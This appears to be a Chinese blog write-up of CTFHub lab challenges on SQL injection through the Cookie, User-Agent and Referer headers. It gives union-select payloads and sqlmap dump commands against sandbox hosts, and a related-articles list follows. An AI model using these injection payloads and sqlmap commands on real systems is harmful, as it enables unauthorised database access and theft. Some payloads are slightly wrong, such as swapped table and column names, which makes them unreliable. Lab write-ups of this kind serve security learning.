CTFHub(web sql)(四)

news2024/12/24 20:25:58

Cookie注入

  Cookie 注入的原理也和其他注入一样,只不过是将提交的参数已 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。

cookie注入原理详解(一) - tooltime - 博客园 (cnblogs.com)

bp修改

打开网址,使用bp抓包,并发送到重放器

对Cooike:位置后的内容进行修改

1.判断列名

Cookie: id=1 order by 1,2;

2.判断其注入点

使用union select

cookie:id=1 union select 1,2;

3.开始爆库

知道注入点在2上

Cookie: id=-1 union select 1,database();

4.爆表

得到数据库库名为sqli

Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);

vfdozendrn

5.爆字段名

得知表名为vfdozendrn

Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='vfdozendrn' limit 0,1);

faxqgkdawi

6.爆字段的内容

知道字段名为 faxqgkdawi

Cookie: id=-1 union select 1,group_concat(faxqgkdawi) from vfdozendrn;

得到flag

hackbar

使用hackbar工具,选择Cooikes

1.找到注入点

id=1 and 1 = 1 #

2.判断列数

id=1 order by 2 #

id=1 order by 3 #

3.查数据库名

id=0 union select 1,database()#

4.查表名

id=0 union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #

查找得到两个数据表vfdozendrn,news

5.查列名

 id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='news' #

查询表vfdozendrn中的内容

id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='vfdozendrn' #

得到字段名faxqgkdawi

6.查字段 

id=0 union select 1,group_concat(vfdozendrn) from sqli.faxqgkdawi # ​​​

得到flag

sqlmap

http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800

爆库名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 --dbs  --batch

爆表名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2  -D sqli --tables --batch

vfdozendrn

爆列名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T vfdozendrn --columns --batch

faxqgkdawi

爆数据

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T vfdozendrn -C faxqgkdawi --dump --batch

CTFHUB-技能树-Web前置技能-SQL注入-Mysql结构-Cookie注入-CSDN博客

ctfhub sql注入之cookie注入-CSDN博客

UA注入

CTFHub | UA注入_ctfhub ua注入-CSDN博客

就是User-Agent的缩写,中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计。
 

手工注入

1.bp抓包

直接使用burp suite抓包工具抓取题目网站的信息

2.判断注入方式

题目已经告诉我们输入点在UA中,直接在UA中使用'1 and 1 = 1'进行测试

继续在UA请求头中使用'1 and 1 = 2'进行测试,发现此题存在UA注入

3. 判断字段数量

使用order by

从order by 1开始

1 order by 1

判断字段2,使用order by 2

判断字段3,使用order by 3,

这里无回显,那么字段数量为2列

4.查看数据库位置

使用union select 1,2查看未发现数据

1 union select 1,2

判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

0 union select 1,2

5.查看数据库版本

修改2为version()

0 union select 1,version()

发现数据库版本为MariaDB 10.3.22

6.查看数据库名

修改2为database()

0 union select 1,database()

发现数据库版本为sqli

查看全部数据库名

0 union select 1,group_concat(schema_name)from information_schema.schemata

7.查看表名

在全部数据库名中发现sqli,最后在sqli数据库中发现zdebjmphat和news两个表名

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

zdebjmphat   

8.查看列名

先查看zdebjmphat表中的全部字段名,发现一个数据名为htgdqscwhc

0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='zdebjmphat'

htgdqscwhc

9.查看字段

查看数据htgdqscwhc中的内容,发现此题flag

0 union select 1,group_concat(htgdqscwhc) from sqli.zdebjmphat

sqlmap

Sqlmap全参数详解 - 狼人:-) - 博客园 (cnblogs.com)

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入

CTFHUB-技能树-Web前置技能-SQL注入-Mysql结构-UA注入-CSDN博客

UA注入 需要用到leve 3

http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800

1.爆数据库

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ -level 3 --dbs --batch

2.爆表名

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli --tables

zdebjmphat

3.爆字段

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zdebjmphat --columns

4.脱库

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zdebjmphat -C htgdqscwhc --dump

看大佬题解时,大佬提到了这个问题:

Refer注入

CTFHub - Refer注入-CSDN博客

CTFHub | Refer注入_ctfhub的refer注入-CSDN博客

[CTFhub]CTFhub技能树SQL注入——Refer注入-CSDN博客

bp注入

抓包

使用bp抓包,发送到重放器

抓到的信息中没有Refer请求,那么可以直接写入Refer请求进行测试

放包后,使用hackbar传入id=1

Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。    需要向页面发送一个请求后,才会带上Reder字段。

传参的同时进行抓包

判断注入类型

referer:1

页面存在回显,可以使用联合查询。

referer:1'

页面不存在回显。

referer:1 and 1=1

页面存在回显

referer:1 and 1=2

页面不存在回显。可判断此处是数字型注入

判断回显位置

select 语句有几列那么需要输入几列。Sqli 中有两列,所以输入1和2,判断数字的回显位置。

referer: 1 union select 1,2

判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

referer: -1 union select 1,2

获取数据库

把第1列换成了version()版本号,2换成了database() 数据库名称

-1 union select version(),database()

可得知数据库为:sqli

获取数据表

补充:

group_concat(列或表达式):函数将指定的列或表达式的值按照默认的逗号分隔符连接起来,并返回一个合并的字符串作为结果。

        information_schema:关系型数据库中,包括 MySQL、PostgreSQL等,存在一个系统数据库叫做 "information_schema",它存储了关于数据库中元数据(metadata)的信息。

        information_schema:是 information_schema 数据库中的一个表,用于存储关于数据库中所有表的信息,例:表名、所属数据库、表类型、创建时间等。

        table_schema=database() :table_schema表示要筛选的表的模式(也就是数据库的名称),而database()是MySQL内置函数,返回当前连接的数据库名称。

-1 union select version(),group_concat(table_name)from information_schema.tables where table_schema=database()

库中存在两个表,分别为:kyqdxfnkmp,news

获取列名

-1 union select version(),group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='kyqdxfnkmp'

kyqdxfnkmp库中的列名为:ttzqiiunct

获取数据

-1 union select version(),ttzqiiunct from kyqdxfnkmp

或者

-1 union select 1,group_concat(ttzqiiunct) from sqli.kyqdxfnkmp

得到flag

sqlmap

CTFHub——技能树——SQL注入(sqlmap)-CSDN博客

sqlmap使用:ctfhub靶场查询SQL注入+查询Cookie注入+查询UA注入+Refer注入_sqlmap flag 查表-CSDN博客

关于此题如何使用sqlmap,做了很多尝试,仍然无法解出。

网址

http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800

sqlmap -u http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800/ -level 3 --dbs --batch

python sqlmap.py -u http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800 -level 3

sqlmap -r "refer.txt" -level 3 --current-db --batch (sqli)

CTFhub  Web  SQL注入 篇至此结束

感谢在茫茫的互联网电子荒原中,你浏览到这几篇赛博垃圾。博客内容较为粗糙劣质,诸位大佬,如有高见,还请斧正,直说无妨。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1621613.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据仓库与数据挖掘(实验一2024.4.24)

实验准备: 1.下载conda 2.配置环境C:\ProgramData\miniconda3\Scripts 3.创建文件夹panda进入虚拟环境qq 激活虚拟环境:activate qq 启动jupyter lab(python语言环境编译):jupyter lab 4.panda下载 (…

【行为型模式】中介者模式

一、中介者模式概述 中介者模式定义:用一个中介对象来封装一系列的对象交互,中介者使各对象不需要显式地相互引用,从而使其耦合松散,而且可以独立地改变它们之间的交互。中介者模式又称为调停者模式。(对象行为型模式) 中介者模式…

基于uni-app的动态表单

一、应用场景和意义 可以通过配置字段和校验规则,快速完成页面开发、提升开发效率 二、应用前提 形成ui/业务规范,最好是应用在问卷调查之类的业务 三、动态表单的功能 字段报错、快速滚动定位报错信息、支持字段值和字段规则拆分,便于实…

《R语言与农业数据统计分析及建模》学习——描述性统计分析

一、描述性统计概念和方法 1、概念和作用 描述性统计是对数据进行概括和描述,便于理解数据的特征、趋势和分布,帮助我们了解数据基本情况和总体特征,为后续更深入的数据分析和建模提供基础。 2、基础方法 (1)中心趋…

STM32的定时器

一、介绍 定时器的工作原理 通用定时器的介绍 定时器的计数模式 定时器时钟源 定时器溢出时间计算公式 二、使用定时器中断点亮LED灯 打开一个LED灯 更改TIME2 然后就是生成代码 三,代码

深度学习基础之《TensorFlow框架(15)—神经网络》

一、神经网络基础 1、什么是神经网络 人工神经网络(Artificial Neural Network,简写为ANN)。也简称为神经网络(NN) 是一种模仿生物神经网络(动物的中枢神经系统,特别是大脑)结构和功…

网络安全与密码学--AES加密

分组加密之AES加密算法 AES算法的诞生 python实现AES加密 AES加密详细流程 AES解密过程 AES的应用 1997年 NIST征集AES(Advanced Encryption Standard)2000年选中 https://www.nist.gov/ https://csrc.nist.gov/projects/block-cipher-techniques A…

WPForms Pro插件下载:简化您的在线表单构建,提升用户互动

在当今的数字化世界中,表单是网站与用户互动的关键。无论是收集信息、处理订单还是进行调查,一个好的表单可以极大地提升用户体验和转化率。WPForms Pro插件,作为一款专业的WordPress表单构建工具,旨在帮助您轻松创建美观、功能强…

如何求候选码、属性集的闭包

目录 一、基础理论 二、属性集的闭包 三、四类 四、例题 基础理论部分是我的异想天开,可跳过。 一、基础理论 数据库注重于研究关系,谈起关系,那么不得不提起《离散数学》,起初我认为求候选码的过程一定暗合《离散数学》中的…

【JavaScript】axios

基础使用 <script src"https://cdn.bootcdn.net/ajax/libs/axios/1.5.0/axios.min.js"></script> <script>axios.get(https://study.duyiedu.com/api/herolist).then(res> {console.log(res.data)}) </script>get - params <script s…

《智能前沿:应对ChatGPT算力挑战》

在全球人工智能热潮中&#xff0c;以 ChatGPT 为代表的 AIGC 技术引发了广泛关注。人工智能和机器学习等技术对数据规模及处理速度等提出了更高要求。在数据成为主要生产要素的当下和未来&#xff0c;如何跟上时代的发展步伐&#xff0c;构建适应 AI 需求的数据中心&#xff0c…

树莓派驱动开发----iic驱动oled屏幕篇

水一期吧&#xff0c;上效果 有点模糊&#xff0c;我直接说吧&#xff0c;修改设备树&#xff0c;iic1&#xff0c;地址0x3c&#xff0c;然后编写驱动文件&#xff0c;app文件&#xff0c;挂载驱动模块后在终端输入 /*******************************************************…

Bayes判别:统计学中的经典分类方法

在统计和机器学习领域&#xff0c;Bayes判别是一个基于概率理论的强大工具&#xff0c;用于解决分类问题。它基于Bayes定理&#xff0c;通过计算和比较后验概率来进行决策。这种方法在处理不确定性和不完整数据时表现尤为出色&#xff0c;因此在医学诊断、邮件过滤、语音识别等…

python绘制R控制图(Range Chart)

R控制图&#xff08;Range Chart&#xff09;&#xff0c;也称为范围图或移动极差图&#xff0c;是一种用于分析和控制生产过程中的变异性的统计工具。它通常与Xbar控制图&#xff08;均值图&#xff09;一起使用&#xff0c;可以提供关于生产过程变异性的额外信息。以下是R控制…

恶意软件狩猎新途径:使用.NET元数据分析跟踪恶意软件

本文由Blaze于2024年3月25日发表于其个人博客网站上。 就在不久前&#xff0c;我们意外发现了一个PureCrypter样本&#xff0c;而PureCrypter则是一款适用于各种类型恶意软件&#xff08;例如Agent Tesla和RedLine&#xff09;的加载器和混淆处理工具。深入分析之后&#xff0c…

文章杂记 | C++动态内存分配

1、C类和动态内存分配 https://blog.csdn.net/u011381222/article/details/137734622 Stringbad.h #pragma once #ifndef STRINGBAD_ #define STRINGBAD_#include<iostream>using namespace std;class Stringbad { private:char* str;//字符串地址int len; //长度st…

前端三剑客 HTML+CSS+JavaScript ④ HTML标签

祝你先于春天&#xff0c;翻过此间铮铮山峦 —— 24.4.23 一、HTML排版标签 1.标题标签 h1~h6 标签含义&#xff1a;标题 单/双标签&#xff1a;双 主要用前三个 2.段落标签 p 标签含义&#xff1a;段落 单/双标签&#xff1a;双 3.div 没有任何含…

Day17-Java进阶-网络编程(IP, 端口, 协议)TCP和UDP三次握手和四次挥手

1. 网络编程介绍 1.1 初始网络编程 1.2 网络编程三要素 1.2.1 IP InetAddress 的使用 package com.itheima.Inetaddress;import java.net.InetAddress; import java.net.UnknownHostException;public class InetAddressDemo1 {/*static InetAddress getByName(String host) 确…

Redis分布式锁 - 基于Jedis和LUA的分布式锁

先基于单机模式&#xff0c;基于Jedis手工造轮子实现自己的分布式锁。 首先看两个命令&#xff1a; Redis 分布式锁机制&#xff0c;主要借助 setnx 和 expire 两个命令完成。 setnx命令: setnx 是 set if not exists 的简写。将 key 的值设为 value &#xff0c;当且仅当…

基于PaddlePaddle平台训练物体分类——猫狗分类

学习目标&#xff1a; 在百度的PaddlePaddle平台训练自己需要的模型&#xff0c;以训练一个猫狗分类模型为例 PaddlePaddle平台&#xff1a; 飞桨&#xff08;PaddlePaddle&#xff09;是百度开发的深度学习平台&#xff0c;具有动静统一框架、端到端开发套件等特性&#xf…